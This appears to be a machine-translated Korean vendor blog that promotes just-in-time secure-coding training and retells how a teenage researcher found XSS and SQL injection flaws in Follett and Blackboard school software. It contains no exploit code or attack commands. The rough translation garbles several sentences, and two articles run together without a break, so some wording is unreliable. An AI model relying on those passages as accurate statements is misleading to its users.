문맥, 실습 학습은 한입 크기의 덩어리가 가장 합리적일 때 바로 전달되는 가장 효과적인 훈련 방법입니다. 이것은 때때로 "저스트 인 타임"(JiT) 교육이라고도 하며 개발자가 안전한 코딩을 배우는 데 매우 강력합니다.

도요타의 린 제조 원칙의기원으로, JiT 교육은 가장 중요한 경우, 맥락에서, 알아야 할 기초에 활성화하도록 설계되었습니다. 개발자가 부적절한 권한을 가진 것으로 보이는 것을 작성했습니까? 공격자가 코드를 원격으로 실행할 수 있는 작은 뒷문이 열리면 어떻게 해야 합니까? 개발자가 필요에 따라 지식에 액세스하거나 컨플루엔스의 문서를 다시 트롤링하거나 교육에서 터치한 것을 검색하는 것이 아니라 필요한 지식에 액세스 할 수 있다면 훨씬 더 기억에 남을 것입니다.

저시정은 "만일의 경우" 학습의 정반대입니다. 후자는 지식을 부여하는 더 일반적인 방법이지만, 단순히 효율적이지 않습니다. 우리는 개발자가 안전한 코딩 모범 사례에 더 쉽게 참여할 수 있도록 하고, 현재 작업중인 주요 목표에 초점을 유지하면서 경력을 향상시키는 이점을 확인해야 합니다.

개발자가 교육을 쫓아가는 것을 중단하십시오.

우리는 이미 근무일에 너무 많은 일이 일어나고 있다는 것을 알고 있으므로 개발자는 정적 이론 기반 교육에 액세스하기 위해 5 단계를 거치려면 어떤 인센티브를 교실로 옮기거나 컨텍스트 스위치를 수행해야합니까?

데이터 유출을 유발하는 취약점의 양이 라면 대부분의 조직이 하는 일이 매우 효과적이지 않다는 것이 일반적인 합의입니다. Verizon의 2020 년 데이터 유출 조사 보고서는 데이터 유출의 43 %가 웹 취약점에 기인 할 수 있다고 명시했습니다. 개발자는 효과적인 교육을 받지 못하고 있습니다. 고등 교육이나 직장 업스킬링 조치의 일부가 아닙니다. SQL 주입 및 구식 경로 통과와 같은 일반적인 취약점은 상당한 데이터 페이더트에 악용되지 않으며 사이버 보안 기술 부족은 통제불능상태가 되지 않을 것입니다.

그래서, 이것이 개발자가 교육을 받고 보안에 익숙해지는 현재의 기후라는 것을 알고, 왜 우리는 가난한 결과에 놀랐습니까? 개발자와 조직 모두 Jira, GitHub 및 IDE와 같이 실제로 작업하는 공간에서 더 부드럽고 통합적이며 덜 어지러우는 교육 경험을 보장하는 데 긍정적인 영향을 미칠 수 있습니다. 업계는 더 이상 사치가 없는 환경에서 앞으로 나아가 보안을 훨씬 쉽게 인식할 필요가 있습니다.

개발 워크플로우를 보호할 준비가 되셨습니까?

보안을 잘 아는 개발자는 코드 작성 단계부터 조직을 보호할 수 있는 능력과 기술력을 인정받고 있습니다. 특히 GDPR 벌금, PCI-DSS 컴플라이언스 규정, NIST 거버넌스, 수백만 달러에 달하는 대규모 집단 소송에 휘말릴 가능성 등 보안은 더 이상 선택 사항이 아닙니다(예: Equifax).

통합된 접근 방식은 덜 파괴적인 학습을 통해 개발자를 이기고 보다 심층적인 길을 만드는 촉매제가 될 수 있습니다. courses 보안 챔피언을 교육하고 일반적으로 전 세계의 데이터를 안전하고 건전한 상태로 유지해야 하는 책임을 공유하도록 영감을 줍니다.

지금 Jira와 GitHub에 대한 통합 도구를 다운로드하고, 당신이 어떻게 생각하는지 알려주세요.

십대 보안 연구원빌 데미르카피의 최근 보고서는 자신의 학교에서 사용하는 소프트웨어의 주요 취약점을 노출확실히 몇 가지 기억을 다시 가져왔다. 나는 호기심 아이인 것을 기억, 소프트웨어에 후드를 들어 올려 아래 들여다 보고 모든 작동 방법을 볼 수 - 그리고 더 중요한 것은 - 내가 그것을 깰 수 있다면. 수십 년 동안 소프트웨어 엔지니어들은 제품의 지속적인 개선과 강화를 추구해 왔으며, 보안 커뮤니티(접근 방식은 약간 건방진 반면)는 악의적인 사람이 같은 작업을 수행하기 전에 결함과 잠재적 재해를 발견하는 데 중요한 역할을 합니다.

그러나 여기서 문제는 그의 발견에 대한 응답으로, 그는 학교에서 사소한 정지를 입었다는 것입니다. 그리고 그는 회사(Follett Corporation)에개인적으로 연락할 수있는 모든 길을 소진 한 후에만, 마침내 자신과 자신의 시스템을 위반 할 수있는 능력을 식별하기 위해 다소 공개 적인 폭발을 선택했습니다. Follett Corporation에 윤리적으로 경고하려는 그의 반복된 시도는 응답없이 갔고, 소프트웨어는 취약한 상태로 남아 있으며 학생 데이터의 산은 암호화되지 않은 것처럼 상당히 쉽게 노출되었습니다.

그는 또한 다른 회사의 소프트웨어에서 버그를 사냥: 블랙 보드. Blackboard의 데이터에는 적어도 암호화가 있었지만 잠재적 인 공격자가 수백만 개의 레코드에 도달하고 더 많이 기록될 수 있었습니다. 이 소프트웨어와 Follett의 제품은 모두 그의 학교에서 사용되었습니다.

"사악한 해커의 이야기는 문제가있다.

데미르카피는 올해 DEF CON에서자신의 연구 결과를 발표했으며, 그의 장난에 대한 자세한 내용은 관중들의 박수를 받았다. 당연히, 정말 - 그는 나쁜 책에 처음과 자신의 발견을 인식하기 위해 많은 장애물에 직면하는 동안, Follett 공사는 소문에 따르면 자신의 노력에 감사하고 자신의 조언에 행동, 궁극적으로 자신의 소프트웨어를 더 안전하게하고 다른 데이터 유출 통계가되는 위기를 피하기. 그는 또한 고등학교를 마친 후 로체스터 공과 대학에 참석할 것이므로 수요가 많은 보안 전문가가 되기 위한 올바른 길에 있다는 것은 분명합니다.

보안 요원으로서 이 상황이 어떻게 처리되었는지에 대해 문제를 제기하기는 어렵습니다. 이 경우 잘 끝나는 모든 것이 좋지만, 처음에는 성가신 대본 아이가 속하지 않은 곳에 코를 두는 성가신 스크립트 아이처럼 대우받았습니다. 사건의 Google 검색은 "해커"로 그를 참조 하는 기사가 (보안 평신의 마음에, 이것은 많은 방법으로 악당으로 그를 위치), 때 실제로 그의 접근 방식 (그리고 많은 다른 사람의) 우리의 데이터를 안전 하 게 유지 하는 데 도움이.

우리는 호기심이 많고 영리하며 보안에 초점을 맞춘 사람들이 후드 아래를 바라보아야 하며, 훨씬 더 자주 일어나는 것이 필요합니다. 7월 현재, 올해만 40억 건 이상의 기록이 악의적인 데이터 유출에 노출되었습니다. 당신은 잠재적으로 그 그림에 또 다른 5천만 추가 할 수 있습니다, 패션과 라이프 스타일 브랜드의 8 월 위반 덕분에, Poshmark.

우리는 같은 실수를하고, 더 걱정스럽게도, 그들은 종종 우리를 트립 계속 얼굴 손바닥 유도, 간단한 취약점입니다.

사이트 간 스크립팅 및 SQL 삽입은 사라지지 않았습니다.

WIRED에의해 보고 된 바와 같이, 블랙 보드 커뮤니티 참여 소프트웨어와 Folletts 학생 정보 시스템은 크로스 사이트 스크립팅 (XSS) 및 SQL 주입과 같은 일반적인 보안 버그를 포함하는 데미르 카피에 의해 발견되었다, 둘 다 1990 년대 이후 보안 전문가의 혀에 머리카락이었다. 우리는 정말 오랜 시간 동안 그들의 존재를 견뎌 왔고, 하이퍼 컬러 티셔츠와 플로피 디스크와 마찬가지로 지금은 먼 기억이되어야합니다.

그러나, 그들은 아니에요, 그리고 그것은 충분히 개발자가 자신의 코드에 그들의 도입을 중지 하는 적절 한 보안 인식을 보여 분명 하다. 스캐닝 도구와 수동 코드 검토는 그다지 많은 작업을 수행할 수 있으며 XSS 및 SQL 주입보다 훨씬 더 복잡한 보안 문제가 발생하므로 비용이 많이 들고 시간이 많이 소요되는 조치를 더 잘 활용할 수 있습니다.

빌 데미르카피와 같은 사람들은 개발자가 더 높은 수준의 코드를 만들도록 영감을 주어야 합니다. 불과 17세에 그는 코드가 커밋되기 전에 스니핑하고 수정해야 하는 위협 벡터를 통해 두 개의 고트래픽 시스템을 위반했습니다.

게임화: 참여의 열쇠는?

나는 개발자가 크게 보안과 단절 남아 이유에 많은 글을 썼고, 짧은 대답은 많은 조직, 교육 수준에서 수행되지 않는 것입니다, 보안 인식 개발자를 육성하기 위해. 기업이 개발자의 언어를 구사하고 계속 시도하도록 동기를 부여하는 교육을 구현하는 등 참여를 보상하고 인식하는 보안 문화를 구축하는 데 시간이 걸리면 이러한 성가신 취약점 유물은 우리가 사용하는 소프트웨어에서 사라지기 시작합니다.

Demirkapi는 분명히 보안에 과외 적인 관심을 가지고 있으며, 악성 코드를 리버스 엔지니어링하는 방법을 배울 수있는 시간을 촬영하고있다, 결함을 발견하고, 잘, 외부에서 깨진 나타나지 않는 물건을 깰. 그러나, VICE에 말하기에서 (그리고 그의 DEF CON 슬라이드를 통해), 그는 자신의 자기 교육에 흥미로운 성명을 발표 ... 그는 그것을 게임 :

"우리 학교의 소프트웨어에서 무언가를 찾는 것이 목표이기 때문에, 그것은 자신에게 상당한 양의 침투 테스트를 가르치는 재미있는 방법이었습니다. 더 많은 것을 배우려는 의도로 연구를 시작했지만, 결국 예상보다 훨씬 더 나빠졌다는 것을 알게 되었습니다."

모든 개발자가 보안을 전문으로 하는 것은 아니지만 모든 개발자는 보안 에 대한 인식이 될 수 있는 기회를 제공해야 하며, 기본 은 조직 내에서 거의 "코드 사용 권"으로 사용되며, 특히 민감한 데이터를 대량으로 제어하는 개발자가 있어야 합니다. 가장 간단한 보안 허점이 작성되기 도 전에 모든 개발자가 패치 할 수 있다면, 우리는 혼란을 과시하고자하는 사람들에 대해 훨씬 더 안전한 위치에 있습니다.

게임화 교육에 대한 호기심? XSS 및 SQL 주입에대한 코더 정복 보안 시리즈를 확인하십시오.